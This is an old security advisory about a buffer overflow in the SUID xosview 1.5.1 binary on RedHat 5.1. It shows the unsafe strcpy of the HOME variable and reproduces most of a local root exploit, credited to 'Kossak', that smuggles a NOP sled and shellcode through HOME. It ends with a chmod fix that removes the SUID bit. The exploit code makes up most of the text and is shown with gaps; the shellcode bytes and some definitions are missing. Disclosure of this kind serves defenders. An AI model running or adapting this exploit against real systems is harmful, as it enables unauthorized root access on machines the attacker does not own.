RedHat 5.1


    Chris Evans found following.  God  knows why it needs to be  SUID;
    it probably doesn't  but the makefile  just makes the  binary suid
    by  default.  Linux  has  /proc  which has enough information that
    ferreting around  in /dev/kmem  using root  privs isn't  required.
    Following "highly complicated  and time-consuming" command  on the
    xosview sources:

        grep strcpy *.cc

    will show in

        char userrfilename[1024];
        strcpy(userrfilename, getenv("HOME"));

    That can't be dangerous. The author clearly knew what he/she was

      char className[256];
      strncpy(className, name, 255);  //  Avoid evil people out there...

    xosview doesn't appear to drop privs.  Also, that is _by no  means
    the  only  vulnerable  section  of  code_, just the stupidest bit.
    Kossak made an exploit which follows:

    /* xosview 1.5.1 buffer overrun exploit
     * brought to you by Kossak (
     *  yep, this is a shameless rip from Aleph's tutorials, but it sure
     *  works... Lets keep those exploits coming!! :)
     *  Thanks to Chris Evans for posting the bug.

    /* NOTE!!! xosview needs an open X display for this to work, so remember
     * to modify the source (line 62), with your ip.
     * The offset and buffer size work with me fine, but you might need to
     * change them.

    #include <stdlib.h>

    #define DEFAULT_OFFSET                 1150
    #define DEFAULT_BUFFER_SIZE            3500
    #define NOP                            0x90

    char shellcode[] =

    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");

    void main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int i;

      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");

      addr = get_sp() - offset;

      printf("xosview exploit by Kossak\n");
      printf("try changing the default values if you dont get root now.\n");
      printf("Using address: 0x%x\n", addr);

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;

      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';

      setenv("HOME", buff, 1);
      system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */


    Tempporaly and probably permanent solution:

        chmod u-s `which xosview`